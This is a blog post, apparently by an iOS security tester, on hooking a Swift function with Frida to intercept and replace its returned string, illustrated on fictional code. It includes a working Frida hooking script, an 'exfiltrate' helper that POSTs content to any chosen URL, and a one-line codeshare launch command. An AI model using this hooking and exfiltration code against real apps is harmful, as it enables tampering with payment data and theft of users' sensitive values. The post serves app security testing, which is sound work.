Intercepting and Modifying Swift Strings: A Hands-On Guide with Frida

Introduction

A few days ago, while testing an iOS application designed for handling payments, I discovered an intriguing aspect of its data handling process. Before transferring sensitive data, the application invoked a function that returned a string containing these sensitive values. This revelation led me to question whether it was possible to intercept and modify these values. The answer, as it turned out, was a resounding yes. Using my favorite tools—Hopper Disassembler and Frida—I was able to manipulate these values. In this blog, I’ll walk you through the process using a fictional Swift code example.

Tools for Interception

To explore this, I used two powerful tools:

1. Hopper Disassembler: A tool for reverse engineering and analyzing the app’s binary code. It helps in understanding how the function generating the sensitive data works.

2. Frida: A dynamic instrumentation toolkit that allows for real-time code manipulation and function hooking. It enables me to intercept and modify the data on the fly.

Example Swift Code

For this blog, let’s use a fictional Swift code snippet to illustrate the process. Suppose we have the following Swift code that generates and returns sensitive data:

import UIKit

class ViewController: UIViewController {

    @IBOutlet weak var label: UILabel!
    override func viewDidLoad() {
        super.viewDidLoad()
        // Do any additional setup after loading the view.
    }

    @IBAction func showText(_ sender: Any) {
        label.text = self.nome()
        var test = nome()
    }
    
    func nome() -> String {
        return "Diego"
    }
    
}

The Hopper Disassembler Screenshot

From the Hopper Disassembler screenshot, we can see two critical elements:

1. The Target Function: Indicated by the number 1 in the screenshot.

2. The Swift String Initialization Call: Indicated by the number 2 in the screenshot.

The Swift String initialization call, marked with the number 2 in the screenshot, is crucial because it shows how strings are constructed in Swift.
So I developed the following Frida script to intercept and modify the returned string. Let’s break down the Frida script and explain each part in detail:

function replaceString(nameOfTheFunction, newString) {
    // First, get the address of the custom function in memory
    var someFunc = Module.findExportByName(null, nameOfTheFunction);
    Interceptor.attach(someFunc, {
        onEnter: function(args) {
            console.log('Function called with new string length: ' + newString.length);
            
            // Locate the address of the Swift built-in function for string literals
            var toStringAddr = Module.findExportByName("libswiftFoundation.dylib", "$sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC");
            Interceptor.attach(toStringAddr, {
                onEnter(args) {
                    var builtinPointer = args[0];
                    var utf8CodeUnitCount = args[1];
                    var isASCII = args[2].toInt32();    
                    
                    // Log information about the string literal
                    console.log('Builtin.RawPointer: ' + builtinPointer.toString());
                    console.log('UTF8 Code Unit Count: ' + utf8CodeUnitCount);
                    console.log('Is ASCII: ' + isASCII);

                    // Modify the UTF8 code unit count with the length of the new string
                    args[1] = ptr(newString.length);
                },
                onLeave(retVal) {
                    // Replace the return value with the new string
                    retVal.replace(stringToHex(newString));
                }
            });
        }
    });
}

Additionally, I added a helper function to exfiltrate the data via a reques (The code below I found it online but I do not remember where):

function exfiltrate(url, method, content) {
    var str = ObjC.classes.NSString['alloc']()['initWithString:'](content) ;
    var postData = str.dataUsingEncoding_(4);
    var len = str.length;
    var strLength = ObjC.classes.NSString['stringWithFormat:']('%d', len);
    var request = ObjC.classes.NSMutableURLRequest['alloc']()['init']();
    var url = ObjC.classes.NSURL.URLWithString_(url);
    var method = ObjC.classes.NSString['alloc']()['initWithString:'](method);
    var httpF = ObjC.classes.NSString['alloc']()['initWithString:']('Content-Length');
    var httpL  = ObjC.classes.NSString['alloc']()['initWithString:']('Content-Type');
    request.setURL_(url);
    request.setHTTPMethod_(method);
    request.setValue_forHTTPHeaderField_(strLength,httpF);
    request.setValue_forHTTPHeaderField_("application/x-www-form-urlencoded", httpL);
    request.setHTTPBody_(postData);
    var nil = ObjC.Object(ptr("0x0"));
    var d = ObjC.classes.NSURLConnection['sendSynchronousRequest:returningResponse:error:'](request,nil,nil);
}

You can use the code via codeshare

frida --codeshare DiegoCaridei/swiftstringinterceptor -f YOUR_BINARY

If you enjoy this blog, please let me know—I would greatly appreciate any suggestions for future topics or posts.